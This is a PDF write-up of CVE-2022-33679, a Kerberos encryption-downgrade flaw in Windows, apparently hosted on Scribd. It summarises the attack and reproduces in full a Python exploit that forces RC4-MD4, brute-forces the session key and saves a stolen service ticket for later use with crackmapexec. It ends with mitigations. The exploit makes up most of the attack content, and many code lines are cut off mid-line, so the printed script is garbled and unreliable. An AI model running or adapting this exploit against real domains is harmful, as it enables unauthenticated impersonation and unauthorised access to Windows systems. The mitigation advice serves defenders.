0% found this document useful (0 votes)
41 views16 pages

Cve 2022 33679

CVE-2022-33679 is a critical unauthenticated Kerberoasting vulnerability affecting all Microsoft Windows versions, with a CVSS score of 8.1. It allows attackers to exploit weak encryption in the Kerberos protocol to gain administrative control over affected systems. Immediate action is required to mitigate this security risk as it can lead to unauthorized access and privilege escalation.

Uploaded by

rakib.khn75
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
41 views16 pages

Cve 2022 33679

CVE-2022-33679 is a critical unauthenticated Kerberoasting vulnerability affecting all Microsoft Windows versions, with a CVSS score of 8.1. It allows attackers to exploit weak encryption in the Kerberos protocol to gain administrative control over affected systems. Immediate action is required to mitigate this security risk as it can lead to unauthorized access and privilege escalation.

Uploaded by

rakib.khn75
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 16

CVE-2022-33679 to

Unauthenticated Kerberoasting
Bug 🐞 Privilege Escalation Vulnerability,
Cryptographic Vulnerability

Versions Affected ☢️ Microsoft Windows (All Versions)

Software Microsoft Windows (All Versions)

CVSS score 8.1

🛡️INTRODUCTION:
Attention: Windows Kerberos Elevation of Privilege
Vulnerability (CVE-2022-33679)
Why this is important:

Critical Vulnerability: This vulnerability (CVE-2022-33679) allows


attackers to gain elevated privileges on affected systems.

Wide Impact: It affects Microsoft Windows machines.

Action Required: Immediate action is necessary to address this security


risk.

What the vulnerability is:

Affected Products: Microsoft Windows operating systems.

Vulnerability Type: Elevation of Privilege.

Impact: An attacker can exploit this vulnerability to gain administrative


control over a system.

Exploitation: The vulnerability involves forcing the Kerberos protocol to use


a weak encryption algorithm, allowing attackers to crack the encryption and
obtain unauthorized access.

CVE-2022-33679 to Unauthenticated Kerberoasting 1


Severity: This vulnerability is rated critical with a CVSS score of 8.1.

Authentication Mechanisms and their


Vulnerabilities 🔒
CVE-2022-33679: Kerberos Encryption Downgrade
Vulnerability
CVE-2022-33679 is a specific vulnerability related to Kerberos authentication,
not a general authentication bypass vulnerability.
Kerberos is an authentication protocol used in Windows environments. It relies
on a trusted third-party server (Key Distribution Center - KDC) to securely
distribute session keys between users and services.
CVE-2022-33679 describes a flaw in how Kerberos negotiates encryption
algorithms during authentication. An attacker could exploit this vulnerability to:

Force downgrade to weak encryption: By manipulating the initial


communication (AS-REQ), the attacker could trick the KDC into using a
weak encryption algorithm (RC4-MD4) for the session key.

Brute-force session key: With the weak encryption exposed, the attacker
can attempt to crack the session key using a brute-force attack. This is
easier due to the known weaknesses of RC4-MD4.

Impact: A successful exploit grants the attacker the stolen session key,
potentially allowing them to impersonate legitimate users and access
unauthorized resources.

Proof-of-Concept
Source : https://www.horizon3.ai/attack-research/attack-blogs/from-cve-
2022-33679-to-unauthenticated-kerberoasting/

The proof of concept (PoC) shared on Github executes the attack, acquiring a
Service Ticket (ST) for a specific service. It then stores the ST in a file using the
credential cache (ccache) format. This format, if unfamiliar (as it was to me
initially), adheres to the Kerberos standard for representing Ticket Granting
Tickets (TGTs) and Service Tickets (STs), extensively outlined in Kerberos
documentation. Notably, the Python Impacket library offers several utilities for

CVE-2022-33679 to Unauthenticated Kerberoasting 2


Windows interaction that accept credentials in ccache form. Now, let's observe
the PoC in operation and subsequently utilize the credentials cache with
crackmapexec to gain access to designated server shared folders.

The required options for the PoC script are a target and a server name. The
target is a combination of the domain and a user account that has pre-
authentication disabled. The server name is the server you want to
authenticate to. In the example below, the domain is pod13.h3airange.internal , the
user is jsmith2 and the server is the domain
controller dc01.pod13.h3airange.internal . As the screenshot shows, the PoC
requests an AS-REQ and receives the AS-REP. Then it brute forces the session
key 1 byte at a time until it has all 5 bytes. It uses the session key and the TGT
to request a ST from the TGS and then writes it out to disk. As a point of
clarification, the script says that it receives a TGS and writes that to disk. What
it means is it receives a TGS service ticket, which I’ve been calling a ST. That
caused a bit of confusion for me initially which I’ll discuss in a bit below. In
order to use the credentials cache with crackmapexec, we’ll need to export an
environment variable called KRB5CCNAME and set it to the ccache file created by
the PoC. We’ll need to provide crackmapexec with the -k flag which tells it to
use the ccache file from the KRB5CCNAME environment variable.

EXPLOIT
Source : https://github.com/Bdenneu/CVE-2022-33679/blob/main/CVE-
2022-33679.py

CVE-2022-33679 to Unauthenticated Kerberoasting 3


import datetime
import random
import argparse
import logging
import sys
from binascii import hexlify, unhexlify

from pyasn1.codec.der import decoder, encoder


from pyasn1.type.univ import noValue

from impacket import version


from impacket.examples import logger
from impacket.examples.utils import parse_credentials

from impacket.krb5.kerberosv5 import KerberosError, sendReceiv


from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, \
PA_ENC_TS_ENC, AS_REP, EncryptedData, EncASRepPart, seq_se
seq_set_iter, KERB_ERROR_DATA, HostAddress, HostAddresses
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REQ
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.types import Ticket as TTicket
from impacket.krb5 import constants
from impacket.krb5.crypto import Key
from impacket.krb5.ccache import Principal as CPrincipal
from impacket.krb5.ccache import CCache, Header, Credential, T
try:
from impacket.krb5.ccache import KeyBlockV4 as KeyBlock
except:
from impacket.krb5.ccache import KeyBlock

from arc4 import ARC4

try:
rand = random.SystemRandom()
except NotImplementedError:
rand = random
pass

CVE-2022-33679 to Unauthenticated Kerberoasting 4


class TGTBrute:
def __init__(self, target, domain, servername, options):
self.__user = target
self.__domain = domain
self.__servername = servername
self.__options = options
self.__kdcHost = options.dc_ip
self.__asReq = None
self.__reqBody = None
self.__encodedPacRequest = None

def prepareAsReq(self, requestPAC=True):


rsadsi_rc4_md4 = -128
self.__asReq = AS_REQ()

domain = self.__domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=consta
userName = Principal(self.__user, type=constants.Princ
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
self.__encodedPacRequest = encoder.encode(pacRequest)

self.__asReq['pvno'] = 5
self.__asReq['msg-type'] = int(constants.ApplicationT
self.__reqBody = seq_set(self.__asReq, 'req-body')

opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
self.__reqBody['kdc-options'] = constants.encodeFlag

seq_set(self.__reqBody, 'sname', serverName.component


seq_set(self.__reqBody, 'cname', userName.components_

if domain == '':
raise Exception('Empty Domain not allowed in Kerbe

CVE-2022-33679 to Unauthenticated Kerberoasting 5


now = datetime.datetime.utcnow() + datetime.timedelta
self.__reqBody['realm'] = domain
self.__reqBody['till'] = KerberosTime.to_asn1(now)
self.__reqBody['rtime'] = KerberosTime.to_asn1(now)
self.__reqBody['nonce'] = rand.getrandbits(31)
supportedCiphers = (rsadsi_rc4_md4,)
seq_set_iter(self.__reqBody, 'etype', supportedCipher

def getTGT(self, requestPAC=True):


self.prepareAsReq()
self.__asReq['padata'] = noValue
self.__asReq['padata'][0] = noValue
self.__asReq['padata'][0]['padata-type'] = int(consta
self.__asReq['padata'][0]['padata-value'] = self.__enc
for i in range(20): # Add padding for more known byte
addr = HostAddress()
addr['addr-type']=1
addr['address']=bytes([0,0,0,i])
self.__reqBody['addresses'][i] = addr
message = encoder.encode(self.__asReq)

try:
r = sendReceive(message, domain, self.__kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ER
logging.error(" RC4 is not supported")
exit()
else:
raise
return r

def sendEncTs(self, data, requestPAC=True):


self.prepareAsReq()

encryptedData = EncryptedData()
encryptedData['etype'] = -128
encryptedData['cipher'] = data
encodedEncryptedData = encoder.encode(encryptedData)

CVE-2022-33679 to Unauthenticated Kerberoasting 6


self.__asReq['padata'] = noValue
self.__asReq['padata'][0] = noValue
self.__asReq['padata'][0]['padata-type'] = int(consta
self.__asReq['padata'][0]['padata-value'] = encodedEnc
self.__asReq['padata'][1] = noValue
self.__asReq['padata'][1]['padata-type'] = int(consta
self.__asReq['padata'][1]['padata-value'] = self.__enc
message = encoder.encode(self.__asReq)
success = True
try:
r = sendReceive(message, domain, self.__kdcHost)
except Exception as e:
success = False
return success

def RecoverKey(self, encryptedAsREP):


AsREPPlain = b'\x00'*24+b'y\x82\x02\x140\x82\x02\x10\x

dec_len = len(encryptedAsREP) - 0x18


l1 = dec_len - 4
l2 = dec_len - 8
AsREPPlain = list(AsREPPlain)

AsREPPlain[26], AsREPPlain[27] = l1.to_bytes(2, 'big'


AsREPPlain[30], AsREPPlain[31] = l2.to_bytes(2, 'big'

RC4Flow = bytes([AsREPPlain[i]^encryptedAsREP[i] for i


#first byte of the key
now = datetime.datetime.utcnow()
Timestamp = (KerberosTime.to_asn1(now)).encode()
sTimestamp = len(Timestamp)+1
encodedTimeStamp = bytes([0 for i in range(24)])+byte
encryptedTimeStamp = bytes([RC4Flow[i]^encodedTimeStam
found = False
for i in range(256):
if self.sendEncTs(encryptedTimeStamp+bytes([i])):
RC4Flow += bytes([i])

CVE-2022-33679 to Unauthenticated Kerberoasting 7


logging.info("Byte 0: %02x"%i)
found = True
break
if found == False:
logging.error("No matching byte")
exit()
for j in range(4):
found = False
encodedTimeStamp = bytes([0 for i in range(24)])+
encodedTimeStamp += bytes([sTimestamp+4, 0xa0, sTi
encryptedTimeStamp = bytes([RC4Flow[i]^encodedTime
for i in range(256):
if self.sendEncTs(encryptedTimeStamp+bytes([i
RC4Flow += bytes([i])
logging.info("Byte %d: %02x"%(j+1, i))
found = True
break
if found == False:
logging.error("No matching byte")
exit()
key = bytes([RC4Flow[i]^encryptedAsREP[i] for i in ra
return key

def TGTtoTGS(self, TGT, sessionKey):


rsadsi_rc4_md4 = -128
serverName = Principal('cifs/%s'%self.__servername, ty
ticket = TTicket()
ticket.from_asn1(TGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbe

opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)

authenticator = Authenticator()
authenticator['authenticator-vno'] = 5

CVE-2022-33679 to Unauthenticated Kerberoasting 8


authenticator['crealm'] = TGT['crealm'].asOctets()

clientName = Principal()
clientName.from_asn1( TGT, 'crealm', 'cname')

seq_set(authenticator, 'cname', clientName.components_

now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)

encodedAuthenticator = encoder.encode(authenticator)

cipher = ARC4(sessionKey[:8])
encryptedEncodedAuthenticator = cipher.encrypt(b'\x00

apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = rsadsi_rc4_md4
apReq['authenticator']['cipher'] = encryptedEncodedAu

encodedApReq = encoder.encode(apReq)

tgsReq = TGS_REQ()

tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbe
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.Pre
tgsReq['padata'][0]['padata-value'] = encodedApReq

reqBody = seq_set(tgsReq, 'req-body')

opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value
opts.append( constants.KDCOptions.canonicalize.value

CVE-2022-33679 to Unauthenticated Kerberoasting 9


reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_as
reqBody['realm'] = domain

now = datetime.datetime.utcnow() + datetime.timedelta

reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc
int(constants.EncryptionTypes.de
int(constants.EncryptionTypes.de
)
)

message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, self.__kdcHos
return r

def TGSToCCache(self, TGS, sessionKey): #from CCache.fromT

ccache = CCache()
ccache.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00
ccache.headers.append(header)
tmpPrincipal = Principal()
tmpPrincipal.from_asn1(TGS, 'crealm', 'cname')
ccache.principal = CPrincipal()
ccache.principal.fromPrincipal(tmpPrincipal)

# Now let's add the credential


encryptedTGSREP = bytes(TGS['enc-part']['cipher'])
cipher = ARC4(sessionKey[:8])

CVE-2022-33679 to Unauthenticated Kerberoasting 10


plainText = cipher.decrypt(bytes(encryptedTGSREP))[24
encTGSRepPart = decoder.decode(plainText, asn1Spec = E

credential = Credential()
server = Principal()
server.from_asn1(encTGSRepPart, 'srealm', 'sname')
tmpServer = CPrincipal()
tmpServer.fromPrincipal(server)
credential['client'] = ccache.principal
credential['server'] = tmpServer
credential['is_skey'] = 0

credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encTGSRepPart['key
credential['key']['keyvalue'] = encTGSRepPart['key'][
credential['key']['keylen'] = len(credential['key']['

credential['time'] = Times()
credential['time']['authtime'] = ccache.toTimeStamp(Ke
credential['time']['starttime'] = ccache.toTimeStamp(K
credential['time']['endtime'] = ccache.toTimeStamp(Ke
# after kb4586793 for cve-2020-17049 this timestamp ma
if encTGSRepPart['renew-till'].hasValue():
credential['time']['renew_till'] = ccache.toTimeS

flags = ccache.reverseFlags(encTGSRepPart['flags'])
credential['tktflags'] = flags

credential['num_address'] = 0

credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(TGS['ticke
credential.ticket['length'] = len(credential.ticket['d
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = b''
credential.secondTicket['length'] = 0
ccache.credentials.append(credential)
return ccache

CVE-2022-33679 to Unauthenticated Kerberoasting 11


def run(self):
logging.info("Getting TGT - Retrieving AS-REP")
tgt = self.getTGT()
decodedtgt = decoder.decode(tgt, asn1Spec = AS_REP())
encryptedAsREP = bytes(decodedtgt['enc-part']['cipher
logging.info("Trying to recover the RC4 Flow")
sessionKey = self.RecoverKey(encryptedAsREP)
logging.info("Recovered Session key: %s"%sessionKey.he
TGS = self.TGTtoTGS(decodedtgt, sessionKey)
logging.info("Got TGS for %s"%self.__servername)
decodedtgs = decoder.decode(TGS, asn1Spec = TGS_REP()
ccache = self.TGSToCCache(decodedtgs, sessionKey)
logging.info("Saving ticket in %s" % (self.__user+'_'+
ccache.saveFile(self.__user+'_'+self.__servername+'.cc

# Process command-line arguments.


if __name__ == '__main__':
print(version.BANNER)

parser = argparse.ArgumentParser(add_help = True, descrip


"'Do not require Kerberos p

parser.add_argument('target', action='store', help='domai


parser.add_argument('serverName', action='store', help='se
parser.add_argument('-ts', action='store_true', help='Add
parser.add_argument('-debug', action='store_true', help='T

group = parser.add_argument_group('authentication')

group.add_argument('-dc-ip', action='store',metavar = "ip

options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)

CVE-2022-33679 to Unauthenticated Kerberoasting 12


if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)

domain, username, password = parse_credentials(options.ta


if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)

try:
executer = TGTBrute(username, domain, options.serverNa
executer.run()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))

This script appears to be an exploit tool designed to retrieve a Ticket Granting


Ticket (TGT) for a user with the "Do not require Kerberos preauthentication"
flag set, and export their Ticket Granting Service (TGS) for a specified server.
Let's break down its functionality:

1. Initialization:

target : Specifies the domain and username in the format


'domain/username'.

serverName : Specifies the name of the target server.

options : Contains additional options provided via command-line


arguments.

2. AS_REQ Generation:

__asReq : Represents the AS_REQ message.

__reqBody : Represents the body of the AS_REQ message.

domain : The domain extracted from the target.

serverName : The Principal object representing the target server.

CVE-2022-33679 to Unauthenticated Kerberoasting 13


userName : The Principal object representing the target user.

: Contains a KERB_PA_PAC_REQUEST, indicating whether to


pacRequest

include PAC information.

encodedPacRequest : Encoded form of the PAC request.

3. TGT Retrieval:

tgt : Contains the retrieved AS_REP message.

decodedtgt : Decoded form of the AS_REP message.

encryptedAsREP : Contains the encrypted part of the AS_REP message.

4. RC4 Flow Recovery:

AsREPPlain : Initial known plaintext used for recovering the RC4 flow.

encryptedTimeStamp : Contains the encrypted timestamp used in the RC4


flow recovery.

: Flag indicating whether a matching byte is found during the


found

brute-force attack.

sessionKey : Contains the recovered session key.

5. TGS_REQ Generation:

apReq : Represents the AP_REQ message for TGS authentication.

authenticator : Contains the Authenticator for TGS authentication.

cipher : ARC4 object for encryption with the session key.

encodedApReq : Encoded form of the AP_REQ message.

6. TGS Retrieval:

TGS : Contains the retrieved TGS_REP message.

decodedtgs : Decoded form of the TGS_REP message.

7. CCache Creation:

ccache : Represents the credential cache (ccache) containing the TGS.

header : Header object for the credential cache.

credential : Represents the credential entry in the cache.

: Principal object representing the server for which the TGS was
server

obtained.

CVE-2022-33679 to Unauthenticated Kerberoasting 14


: Contains the decrypted EncTGSRepPart from the
encTGSRepPart

TGS_REP message.

8. Logging and Error Handling:

Various logging statements for providing feedback and error handling


throughout the execution.

Requirements
impacket==0.10.0
arc4==0.3.0

USAGE
usage: CVE-2022-33079.py [-h] [-ts] [-debug] [-dc-ip ip add

Example

MITIGATION
As bad as this could be, it’s fairly straightforward to mitigate. The two
things that make this attack possible are pre-authentication being disabled
and the RC4-MD4 encryption scheme. First, pre-authentication is enabled
by default in Windows domains but is sometimes disabled for legacy
systems or compatibility reasons. It should only be disabled for a individual
accounts. Regular audits of domain accounts will identify any accounts that
have pre-authentication disabled. Make sure it is actually required.
Second, Microsoft has added a flag that disables the RC4-MD4 algorithm
and while it’s recommended that RC4 be disabled, doing so can present it’s
own set of problems. A final option is enforcing Kerberos Armoring

CVE-2022-33679 to Unauthenticated Kerberoasting 15


(FAST) on all clients and KDCs in the environment. Whatever mitigations
you put in place, make sure you trust but verify them.

REFERENCES 📚:
https://www.horizon3.ai/attack-research/attack-blogs/from-cve-2022-
33679-to-unauthenticated-kerberoasting/

https://github.com/Bdenneu/CVE-2022-33679/blob/main

https://github.com/Bdenneu/CVE-2022-33679/blob/main/CVE-2022-
33679.py

CVE-2022-33679 to Unauthenticated Kerberoasting 16

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy